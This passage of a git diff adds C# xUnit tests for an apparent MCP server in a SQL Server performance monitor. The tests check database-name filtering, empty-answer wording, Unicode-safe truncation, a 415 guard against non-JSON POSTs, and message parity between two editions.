+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5244 (PR6, Lite twins): <c>database_name</c>, appended LAST, on <c>get_database_config_changes</c>,
+/// <c>get_default_trace_events</c> and <c>get_health_parser_severe_errors</c>. Each tool is read through a real DuckDB store holding
+/// three databases: the chosen name returns only that database's rows, an omitted, empty or whitespace name returns every database
+/// (a blank is "no filter", never an error), and a name nothing was recorded for is an <c>empty</c> status that names the database
+/// rather than a verdict on the server. The severe-errors tool filters on the name the event's database_id resolves to (the store has
+/// no name for those events), so an id the collected map lacks is in no chosen database, ordinal as on Darling's reader.
+/// </summary>
+public sealed class McpDatabaseNameFilterToolTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const string ServerName = "DbNameFilterSrv";
+
+    private static readonly string?[] BlankNames = [null, "", "   "];
+
+    private readonly int _serverId;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly LocalDataService _dataService;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public McpDatabaseNameFilterToolTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _dataService = new LocalDataService(_duckDb);
+
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-dbname-filter-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+
+        var server = new ServerConnection
+        {
+            Id = Guid.NewGuid().ToString(),
+            ServerName = ServerName,
+            IsEnabled = true,
+        };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(
+            RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    [Fact]
+    public async Task DatabaseConfigChanges_DatabaseName_LimitsTheChangesToThatDatabase()
+    {
+        var older = Truncate(DateTime.UtcNow.AddHours(-3));
+        var newer = Truncate(DateTime.UtcNow.AddHours(-2));
+        foreach (var db in new[] { "DbA", "DbB", "DbC" })
+        {
+            await SeedDatabaseConfigAsync(older, db, "FULL");
+            await SeedDatabaseConfigAsync(newer, db, "SIMPLE");
+        }
+
+        var one = await McpConfigHistoryTools.GetDatabaseConfigChanges(
+            _dataService, _serverManager, ServerName, database_name: "DbB");
+        using (var doc = JsonDocument.Parse(one))
+        {
+            Assert.Equal(1, doc.RootElement.GetProperty("change_count").GetInt32());
+            Assert.Equal("DbB", Assert.Single(doc.RootElement.GetProperty("changes").EnumerateArray())
+                .GetProperty("database_name").GetString());
+        }
+
+        foreach (var blank in BlankNames)
+        {
+            var all = await McpConfigHistoryTools.GetDatabaseConfigChanges(
+                _dataService, _serverManager, ServerName, database_name: blank);
+            using var allDoc = JsonDocument.Parse(all);
+            Assert.Equal(3, allDoc.RootElement.GetProperty("change_count").GetInt32());
+        }
+
+        var none = await McpConfigHistoryTools.GetDatabaseConfigChanges(
+            _dataService, _serverManager, ServerName, database_name: "NoSuchDb");
+        Assert.False(McpHelpers.IsErrorEnvelope(none), $"tool returned an error: {none}");
+        using var noneDoc = JsonDocument.Parse(none);
+        Assert.Equal("empty", noneDoc.RootElement.GetProperty("status").GetString());
+        Assert.Contains("for the database NoSuchDb", none);
+    }
+
+    [Fact]
+    public async Task DefaultTraceEvents_DatabaseName_LimitsTheEventsToThatDatabase()
+    {
+        /* No server clock is collected, so the tool reads event_time as UTC (McpServerLocalWindow.ClockForAsync). */
+        var eventTime = Truncate(DateTime.UtcNow.AddHours(-1));
+        foreach (var db in new[] { "SalesDB", "HrDB", "OpsDB" })
+            await SeedDefaultTraceAsync(eventTime, "Object:Altered", db);
+
+        var one = await McpDefaultTraceTools.GetDefaultTraceEvents(
+            _dataService, _serverManager, ServerName, database_name: "HrDB");
+        using (var doc = JsonDocument.Parse(one))
+        {
+            Assert.Equal(1, doc.RootElement.GetProperty("total_events").GetInt32());
+            Assert.Equal("HrDB", Assert.Single(doc.RootElement.GetProperty("events").EnumerateArray())
+                .GetProperty("database_name").GetString());
+        }
+
+        foreach (var blank in BlankNames)
+        {
+            var all = await McpDefaultTraceTools.GetDefaultTraceEvents(
+                _dataService, _serverManager, ServerName, database_name: blank);
+            using var allDoc = JsonDocument.Parse(all);
+            Assert.Equal(3, allDoc.RootElement.GetProperty("total_events").GetInt32());
+        }
+
+        var none = await McpDefaultTraceTools.GetDefaultTraceEvents(
+            _dataService, _serverManager, ServerName, database_name: "NoSuchDb");
+        Assert.False(McpHelpers.IsErrorEnvelope(none), $"tool returned an error: {none}");
+        using var noneDoc = JsonDocument.Parse(none);
+        Assert.Equal("empty", noneDoc.RootElement.GetProperty("status").GetString());
+        Assert.Contains("for the database NoSuchDb", none);
+    }
+
+    [Fact]
+    public async Task SevereErrors_DatabaseName_FiltersOnTheResolvedName_BeforeTheCountsAndTheCap()
+    {
+        var eventTime = Truncate(DateTime.UtcNow.AddHours(-1));
+        var names = new[] { (Id: 6, Name: "ProdDB"), (Id: 7, Name: "StageDB"), (Id: 8, Name: "DevDB") };
+        foreach (var (id, name) in names)
+            await SeedDatabaseSizeAsync(id, name, eventTime);
+
+        /* Two errors in ProdDB, one each in StageDB and DevDB, and one in an id the collected map lacks. */
+        var seconds = 0;
+        foreach (var id in new[] { 6, 6, 7, 8, 99 })
+            await SeedSevereErrorAsync(id, eventTime.AddSeconds(seconds++)); /* the archive view dedups same-instant events */
+
+        var one = await McpHealthParserTools.GetSevereErrors(
+            _dataService, _serverManager, ServerName, database_name: "ProdDB");
+        using (var doc = JsonDocument.Parse(one))
+        {
+            Assert.True(doc.RootElement.TryGetProperty("error_count", out _), one);
+            Assert.Equal(2, doc.RootElement.GetProperty("error_count").GetInt32());
+            var errors = doc.RootElement.GetProperty("errors").EnumerateArray().ToList();
+            Assert.All(errors, e => Assert.Equal("ProdDB", e.GetProperty("database_name").GetString()));
+        }
+
+        /* The count is the chosen database's, not the server's: one StageDB error with a cap of 1 is complete, not cut. */
+        var capped = await McpHealthParserTools.GetSevereErrors(
+            _dataService, _serverManager, ServerName, limit: 1, database_name: "StageDB");
+        using (var doc = JsonDocument.Parse(capped))
+        {
+            Assert.Equal(1, doc.RootElement.GetProperty("error_count").GetInt32());
+            Assert.Equal(1, doc.RootElement.GetProperty("shown").GetInt32());
+        }
+
+        foreach (var blank in BlankNames)
+        {
+            var all = await McpHealthParserTools.GetSevereErrors(
+                _dataService, _serverManager, ServerName, database_name: blank);
+            using var allDoc = JsonDocument.Parse(all);
+            Assert.Equal(5, allDoc.RootElement.GetProperty("error_count").GetInt32());
+        }
+
+        /* Darling's reader keeps an id the map lacks out of every chosen database, so its "database_id 99" label is not a name. */
+        var unmapped = await McpHealthParserTools.GetSevereErrors(
+            _dataService, _serverManager, ServerName, database_name: "database_id 99");
+        using (var doc = JsonDocument.Parse(unmapped))
+            Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+
+        /* Ordinal, as on Darling: a different case is a different name. */
+        var cased = await McpHealthParserTools.GetSevereErrors(
+            _dataService, _serverManager, ServerName, database_name: "proddb");
+        using (var doc = JsonDocument.Parse(cased))
+            Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+
+        var none = await McpHealthParserTools.GetSevereErrors(
+            _dataService, _serverManager, ServerName, database_name: "NoSuchDb");
+        Assert.False(McpHelpers.IsErrorEnvelope(none), $"tool returned an error: {none}");
+        using var noneDoc = JsonDocument.Parse(none);
+        Assert.Equal("empty", noneDoc.RootElement.GetProperty("status").GetString());
+        Assert.Contains("for the database NoSuchDb", none);
+    }
+
+    // ── Seeding helpers (raw INSERT through one shared connection) ──
+
+    private static DateTime Truncate(DateTime t) =>
+        new(t.Year, t.Month, t.Day, t.Hour, t.Minute, t.Second, DateTimeKind.Unspecified);
+
+    private async Task<DuckDBConnection> SeedConnectionAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+        return _seedConn;
+    }
+
+    private async Task SeedDatabaseConfigAsync(DateTime captureTimeUtc, string databaseName, string recoveryModel)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO database_config
+    (config_id, capture_time, server_id, server_name, database_name, recovery_model)
+VALUES ($1, $2, $3, $4, $5, $6)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = captureTimeUtc });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = databaseName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = recoveryModel });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task SeedDefaultTraceAsync(DateTime eventTime, string eventName, string databaseName)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO default_trace_events
+    (default_trace_event_id, collection_time, server_id, server_name, event_time, event_name, database_name, text_data)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = eventTime });
+        cmd.Parameters.Add(new DuckDBParameter { Value = eventName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = databaseName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "ALTER" });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task SeedDatabaseSizeAsync(int databaseId, string databaseName, DateTime collectionTime)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO database_size_stats
+    (collection_id, collection_time, server_id, server_name, database_name, database_id,
+     file_id, file_type_desc, file_name, physical_name, total_size_mb)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collectionTime });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = databaseName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = databaseId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 1 });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "ROWS" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "data" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = @"D:\data\prod.mdf" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 1024.00m });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    /// <summary>One severity-24 error_reported event for <paramref name="databaseId"/>: the fixture's database_id action (6) swapped.</summary>
+    private async Task SeedSevereErrorAsync(int databaseId, DateTime eventTime)
+    {
+        const string DatabaseIdValue = "<action name=\"database_id\" package=\"sqlserver\"><type name=\"uint16\" package=\"package0\"/><value>6</value>";
+        var fixture = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "SystemHealth", "error_reported.xml"));
+        Assert.Contains(DatabaseIdValue, fixture);
+        var xml = fixture.Replace(DatabaseIdValue, DatabaseIdValue.Replace("<value>6</value>", $"<value>{databaseId}</value>"));
+        /* The error's own time is the XML timestamp, and since #5373 its database is the name the id carried then (the history read looks 14 days
+           around the errors), so the fixture's fixed July timestamp is replaced by the seeded event time. */
+        xml = xml.Replace("timestamp=\"2026-07-05T12:00:05.500Z\"", $"timestamp=\"{eventTime:yyyy-MM-ddTHH:mm:ss.fffZ}\"");
+
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO system_health_events
+    (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1, $2, $3, $4, $5, $6, $7)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerName });
+        cmd.Parameters.Add(new DuckDBParameter { Value = eventTime });
+        cmd.Parameters.Add(new DuckDBParameter { Value = SystemHealthParser.ErrorReportedEvent });
+        cmd.Parameters.Add(new DuckDBParameter { Value = xml });
+        await cmd.ExecuteNonQueryAsync();
+    }
+}
diff --git a/Lite.Tests/McpDatabaseSelectionTests.cs b/Lite.Tests/McpDatabaseSelectionTests.cs
new file mode 100644
index 0000000000..6faa33cb40
--- /dev/null
+++ b/Lite.Tests/McpDatabaseSelectionTests.cs
@@ -0,0 +1,30 @@
+using PerformanceMonitorLite.Mcp;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5244 PR3 (W3 wording carry): Lite's filtered empty answers say what Darling's <c>BlockingWaitsFilteredEmptyWordingTests</c>
+/// pins with the same literals: the name for one database, "the chosen databases" for two or more.
+/// </summary>
+public sealed class McpDatabaseSelectionTests
+{
+    [Fact]
+    public void Describe_IsTheNameForOne_AndTheChosenDatabasesForTwoOrMore_AndNothingForAll()
+    {
+        Assert.Null(McpDatabaseSelection.Describe(null));
+        Assert.Null(McpDatabaseSelection.Describe(System.Array.Empty<string>()));
+        Assert.Equal("A", McpDatabaseSelection.Describe(new[] { "A" }));
+        Assert.Equal("the chosen databases", McpDatabaseSelection.Describe(new[] { "A", "B" }));
+    }
+
+    [Fact]
+    public void TheEmptyAnswerSentence_SaysTheDatabaseForOne_AndTheChosenDatabasesForTwoOrMore()
+    {
+        Assert.Equal(string.Empty, McpDatabaseSelection.ForChosen(null));
+        Assert.Equal(" for the database A", McpDatabaseSelection.ForChosen(new[] { "A" }));
+        Assert.Equal(" for the chosen databases", McpDatabaseSelection.ForChosen(new[] { "A", "B" }));
+        Assert.Equal(" for the database A", McpBlockingTools.ForChosenDatabase("A"));
+        Assert.Equal(string.Empty, McpBlockingTools.ForChosenDatabase(null));
+    }
+}
diff --git a/Lite.Tests/McpDescriptionTruthPinTests.cs b/Lite.Tests/McpDescriptionTruthPinTests.cs
index 32c2fdd488..0549cdc505 100644
--- a/Lite.Tests/McpDescriptionTruthPinTests.cs
+++ b/Lite.Tests/McpDescriptionTruthPinTests.cs
@@ -32,6 +32,8 @@ namespace PerformanceMonitorLite.Tests;
 /// HERE, beside Lite's, because the two notes are one sentence on two SKUs and the pin that matters is that
 /// they stay byte-identical (#3653 — Darling's copy was ported one lane after Lite's).</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class McpDescriptionTruthPinTests
 {
     [Fact]
diff --git a/Lite.Tests/McpHelpersTruncateTests.cs b/Lite.Tests/McpHelpersTruncateTests.cs
new file mode 100644
index 0000000000..a95cfcaacb
--- /dev/null
+++ b/Lite.Tests/McpHelpersTruncateTests.cs
@@ -0,0 +1,92 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// <see cref="McpHelpers.Truncate"/> cuts on a whole text element, so it never splits an emoji's surrogate pair or a
+/// letter from its accent. A split pair reaches the caller as U+FFFD, because System.Text.Json writes that in place of
+/// a lone surrogate. ASCII values are cut exactly where they were before.
+/// </summary>
+public sealed class McpHelpersTruncateTests
+{
+    [Fact]
+    public void ACutInsideASurrogatePair_StopsBeforeTheWholeCharacter()
+    {
+        Assert.Equal("ab... (truncated)", McpHelpers.Truncate("ab\U0001F600cd", 3));
+    }
+
+    [Fact]
+    public void ACutBetweenALetterAndItsAccent_StopsBeforeTheLetter()
+    {
+        Assert.Equal("ab... (truncated)", McpHelpers.Truncate("abécd", 3));
+    }
+
+    [Theory]
+    [InlineData("abcdef", 3, "abc... (truncated)")]
+    [InlineData("abc", 3, "abc")]
+    [InlineData("ab\ncd", 3, "ab\n... (truncated)")]
+    [InlineData(null, 3, null)]
+    public void AnAsciiValue_IsCutExactlyAtTheLimit(string? value, int maxLength, string? expected)
+    {
+        Assert.Equal(expected, McpHelpers.Truncate(value, maxLength));
+    }
+
+    /// <summary>
+    /// The shared cut keeps the #3625 rule: on every input it keeps exactly what
+    /// <see cref="WebhookAlertService.SlackCutLength"/> keeps. The inputs mix ASCII, CR LF, accents, emoji with
+    /// modifiers and joiners, flags, a prepended mark and bare combining marks, at every limit from 0 to past the end.
+    /// </summary>
+    [Fact]
+    public void TheCut_KeepsWhatTheSlackCutKeeps_OnEveryInput()
+    {
+        var pieces = new[]
+        {
+            "a", "b", " ", "\r", "\n", "\r\n", "é", "é", "́", "\U0001F600", "\U0001F44D\U0001F3FD",
+            "\U0001F468‍\U0001F469", "\U0001F1FA\U0001F1F8", "؀", "中", "#️⃣",
+        };
+        var random = new Random(4945);
+        var failures = new List<string>();
+        var checkedCount = 0;
+
+        for (var i = 0; i < 4000; i++)
+        {
+            var text = new StringBuilder();
+            var count = random.Next(0, 12);
+            for (var j = 0; j < count; j++)
+            {
+                text.Append(pieces[random.Next(pieces.Length)]);
+            }
+
+            var value = text.ToString();
+            for (var limit = 0; limit <= value.Length + 1; limit++)
+            {
+                checkedCount++;
+                var expected = WebhookAlertService.SlackCutLength(value, limit);
+                var actual = McpHelpers.TextElementCutLength(value, limit);
+                if (expected != actual)
+                {
+                    failures.Add($"limit {limit}, {Escaped(value)}: kept {actual}, the Slack cut keeps {expected}");
+                }
+            }
+        }
+
+        Assert.True(failures.Count == 0, $"{failures.Count} of {checkedCount} cuts differ:\n" + string.Join("\n", failures.Take(20)));
+    }
+
+    private static string Escaped(string value) =>
+        string.Concat(value.Select(c => c < 0x80 && !char.IsControl(c) ? c.ToString() : $"\\u{(int)c:X4}"));
+}
diff --git a/Lite.Tests/McpJsonPostGuardTests.cs b/Lite.Tests/McpJsonPostGuardTests.cs
new file mode 100644
index 0000000000..5d67a095d9
--- /dev/null
+++ b/Lite.Tests/McpJsonPostGuardTests.cs
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Net.Http;
+using System.Text;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Mcp;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Lite's MCP host answers 415 to a POST whose Content-Type is not JSON, before <c>MapMcp</c>, the same as
+/// Darling's MCP host. This pins 415 for every non-JSON type in the matrix, and the install order: Host guard,
+/// this guard, <c>MapMcp</c>. The middleware is run through a real pipeline with a terminal handler that stands
+/// in for <c>MapMcp</c> and counts the requests it receives.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class McpJsonPostGuardTests
+{
+    private static async Task<(int Status, int Reached)> PostAsync(string method, Action<HttpRequestMessage>? shape)
+    {
+        var reached = 0;
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        await using var app = builder.Build();
+        McpHostService.UseJsonPostGuard(app);
+        app.Run(context =>
+        {
+            reached++;
+            context.Response.StatusCode = StatusCodes.Status200OK;
+            return Task.CompletedTask;
+        });
+        await app.StartAsync();
+
+        using var client = app.GetTestClient();
+        using var request = new HttpRequestMessage(new HttpMethod(method), "/");
+        shape?.Invoke(request);
+        using var response = await client.SendAsync(request);
+        return ((int)response.StatusCode, reached);
+    }
+
+    private static void Body(HttpRequestMessage request, string contentType, string text = "{\"jsonrpc\":\"2.0\"}")
+    {
+        request.Content = new ByteArrayContent(Encoding.UTF8.GetBytes(text));
+        if (contentType.Length == 0)
+        {
+            request.Content.Headers.Remove("Content-Type");
+        }
+        else
+        {
+            request.Content.Headers.TryAddWithoutValidation("Content-Type", contentType);
+        }
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("application/problem+json")]
+    [InlineData("text/plain")]
+    [InlineData("text/plain;charset=UTF-8")]
+    [InlineData("application/x-www-form-urlencoded")]
+    [InlineData("multipart/form-data; boundary=x")]
+    [InlineData("application/jsonx")]
+    public async Task APostThatIsNotJson_Gets415_AndNeverReachesTheHandler(string contentType)
+    {
+        var (status, reached) = await PostAsync("POST", r => Body(r, contentType));
+
+        Assert.Equal(StatusCodes.Status415UnsupportedMediaType, status);
+        Assert.Equal(0, reached);
+    }
+
+    [Theory]
+    [InlineData("application/json")]
+    [InlineData("application/json; charset=utf-8")]
+    [InlineData("Application/JSON;charset=UTF-8")]
+    public async Task APostThatIsJson_ReachesTheHandler(string contentType)
+    {
+        var (status, reached) = await PostAsync("POST", r => Body(r, contentType));
+
+        Assert.Equal(StatusCodes.Status200OK, status);
+        Assert.Equal(1, reached);
+    }
+
+    [Theory]
+    [InlineData("GET")]
+    [InlineData("DELETE")]
+    public async Task ARequestThatIsNotAPost_IsNotChecked(string method)
+    {
+        var (status, reached) = await PostAsync(method, shape: null);
+
+        Assert.Equal(StatusCodes.Status200OK, status);
+        Assert.Equal(1, reached);
+    }
+
+    [Theory]
+    [InlineData(null, false)]
+    [InlineData("", false)]
+    [InlineData("application/json", true)]
+    [InlineData("application/json; charset=utf-8", true)]
+    [InlineData("APPLICATION/JSON", true)]
+    [InlineData(" application/json ;charset=utf-8", true)]
+    [InlineData("application/problem+json", false)]
+    [InlineData("text/plain", false)]
+    public void IsJson_Matrix(string? contentType, bool expected)
+        => Assert.Equal(expected, JsonContentType.IsJson(contentType));
+
+    [Fact]
+    public void TheHost_InstallsTheGuard_AfterTheHostGuard_AndBeforeMapMcp()
+    {
+        var path = Path.Combine(AppContext.BaseDirectory, "Fixtures", "McpHostService.cs");
+        Assert.True(File.Exists(path), "McpHostService.cs was not copied beside the test binary - check the csproj None/Link item.");
+        var source = File.ReadAllText(path).Replace("\r\n", "\n", StringComparison.Ordinal);
+
+        var hostGuard = source.IndexOf("HostHeaderGuard.IsAllowedHost(", StringComparison.Ordinal);
+        var jsonGuard = source.IndexOf("UseJsonPostGuard(_app);", StringComparison.Ordinal);
+        var mapMcp = source.IndexOf("_app.MapMcp();", StringComparison.Ordinal);
+
+        Assert.True(hostGuard >= 0, "the Host-header guard anchor moved");
+        Assert.True(jsonGuard > hostGuard, "the POST content-type guard must be installed after the Host guard");
+        Assert.True(mapMcp > jsonGuard, "the POST content-type guard must be installed before MapMcp");
+        Assert.Contains("JsonContentType.IsJson(context.Request.ContentType)", source, StringComparison.Ordinal);
+        Assert.Contains("Status415UnsupportedMediaType", source, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/McpMissMessageParityPinTests.cs b/Lite.Tests/McpMissMessageParityPinTests.cs
index 463d4e53f4..57d6541fb4 100644
--- a/Lite.Tests/McpMissMessageParityPinTests.cs
+++ b/Lite.Tests/McpMissMessageParityPinTests.cs
@@ -9,6 +9,7 @@
 using System;
 using System.IO;
 using System.Linq;
+using PerformanceMonitor.Common;
 using Xunit;
 
 namespace Lite.Tests;
@@ -32,6 +33,8 @@ namespace Lite.Tests;
 /// message either server can produce, and a naive extension that tried to would pass vacuously the day
 /// somebody added an unshared one.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
 public sealed class McpMissMessageParityPinTests
 {
     /// <summary>
@@ -99,6 +102,17 @@ the only shared miss sentence this list did not name. Darling's sentinel populat
            OWN sentences ahead of these three, so what is compared here stays the monitored-server text. */
         "This server HAS collected before, so this window is genuinely quiet rather than broken — widen hours_back to find the most recent runs.",
 
+        /* #4966: the covered-window variants of the quiet and all-clear CLAIMS, byte-identical on both SKUs. Each sits after
+           the message's own factual first sentence, which is kept on a cut window too. The cut-window claims are two
+           constants in Common (McpHelpers.CutWindowNothingMessage and CutWindowNothingReadMessage), pinned below. */
+        "The blocking collectors HAVE run successfully for this server, so the window is genuinely clear rather than blind.",
+        "this IS the all-clear for this read.",
+        "A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected.",
+        "This says nothing about the window as a whole — the filters were applied, so unfiltered runs may well exist.",
+
+        /* #4966: the server-instructions sentence naming the three window keys (both apps' instructions carry it). */
+        "`window_truncated` true: the window starts before the store's data, not a cut page (`effective_start`, `truncation_note`).",
+
         /* get_memory_clerks */
         "This read returns the LATEST snapshot rather than a window, so an empty result is never a quiet period — a live SQL Server always has memory clerks.",
 
@@ -146,7 +160,8 @@ the only shared miss sentence this list did not name. Darling's sentinel populat
            window) no other read has. */
         "so this is NOT a report of a quiet server — there is nothing to draw. query_stats is a PERIODIC table rather than an edge table: the collector writes rows every cycle for whatever is in the plan cache, so an empty history means nobody looked. Check get_collection_health for this server.",
         " hour(s), so the grid has no columns rather than no hot cells. Widen hours_back, or check get_collection_health — a collector that stopped looks exactly like this.",
-        " hour(s), but no capture recorded an execution: every row carried a zero execution delta, so nothing lands on the grid. A server that is up and idle looks exactly like this, and so does a database_name filter matching nothing collected. Delta-based collection also needs a SECOND cycle before the first non-zero row exists.",
+        " hour(s), but no capture recorded an execution: every row carried a zero execution delta, so nothing lands on the grid",
+        " Delta-based collection also needs a SECOND cycle before the first non-zero row exists.",
 
         /* get_lock_wait_trend (#2484). The all-clear sentence is get_wait_types' own, reused deliberately:
            both reads are looking at the same PERIODIC table and the advice is identical, so two spellings
@@ -222,7 +237,7 @@ nine reads climb. The rung sentences sit between interpolation holes (server, ho
            stamp), so what is compared is the literal text a caller receives. The dead rung keeps the
            "system_health session is started" sentence EngineCapabilityMissTests pins on both SKUs. */
         ". Events ARE being captured, so this is the healthy answer for this read rather than missing data.",
-        "), so the window is genuinely quiet rather than blind — widen hours_back to reach the most recent events.",
+        ", so the window is genuinely quiet rather than blind — widen hours_back to reach the most recent events.",
         " — so for this category the absence is a measurement: the engine has not recorded one. Not a blind spot, and a wider window would not change it.",
         "No system_health events of ANY type have EVER been captured for ",
         ", so this is NOT an all-clear — there is nothing here to be clear about. This read is served from the collected system_health ring buffer: check that collection is running for this server and that its system_health session is started before concluding nothing happened.",
@@ -274,6 +289,35 @@ public void EverySharedMissSentence_ReadsIdenticallyOnBothSkus(string fragment)
             $"Darling's MCP tools no longer contain the shared sentence: \"{fragment}\"");
     }
 
+    /// <summary>
+    /// #4966: the sentence an empty answer carries over a CUT window instead of its quiet or all-clear claim. It lives
+    /// once in Common, which both apps compile, so this holds the literal and the constant to the agreed words; each
+    /// app's empty answers pick between it and their covered text at run time through <c>QuietUnlessCut</c>.
+    /// </summary>
+    [Fact]
+    public void TheCutWindowSentences_AreTheAgreedWords_AndReplaceTheQuietClaimOnlyWhenCut()
+    {
+        const string withStart = "Nothing in the part of the window the store covers; the store's data for this read starts at effective_start (see hints), so the stretch before it is not a report that nothing happened.";
+        const string withoutStart = "Nothing was read: the store holds no data for this read in the window (see hints.truncation_note), so this empty answer is not a report that nothing happened.";
+        Assert.Equal(withStart, McpHelpers.CutWindowNothingMessage);
+        Assert.Equal(withoutStart, McpHelpers.CutWindowNothingReadMessage);
+        Assert.True(AppearsIn("PerformanceMonitor.Common/Mcp", withStart), "the shared cut-window sentence left Common");
+        Assert.True(AppearsIn("PerformanceMonitor.Common/Mcp", withoutStart), "the shared nothing-read sentence left Common");
+
+        /* The notice picks the variant: a start to point at, or none. */
+        Assert.Equal(withStart, McpHelpers.CutWindowClaim("2026-09-10T12:00:00Z"));
+        Assert.Equal(withoutStart, McpHelpers.CutWindowClaim(null));
+
+        /* Only the claim clause is replaced: the factual first sentence survives on both branches. */
+        const string factual = "No query on S regressed in the last 24 hour(s). No query is more than 25% worse than its baseline";
+        const string claim = " — this IS the all-clear for this read.";
+        Assert.Equal(factual + claim, McpHelpers.QuietUnlessCut(false, "2026-09-10T12:00:00Z", factual, claim));
+        Assert.Equal(factual + ". " + withStart, McpHelpers.QuietUnlessCut(true, "2026-09-10T12:00:00Z", factual, claim));
+        Assert.Equal(factual + ". " + withoutStart, McpHelpers.QuietUnlessCut(true, null, factual, claim));
+        Assert.Equal(factual + ". " + withStart + " tail", McpHelpers.QuietUnlessCut(true, "x", factual, claim, " tail"));
+        Assert.Equal(factual + claim + " tail", McpHelpers.QuietUnlessCut(false, "x", factual, claim, " tail"));
+    }
+
     /// <summary>
     /// A non-vacuous floor. Without it, a fragment list that drifted into naming text neither tree contains
     /// would still be a green suite the day somebody emptied it — the guard-that-stopped-guarding shape.
diff --git a/Lite.Tests/McpPageContractTests.cs b/Lite.Tests/McpPageContractTests.cs
index 215af002be..e98f84b902 100644
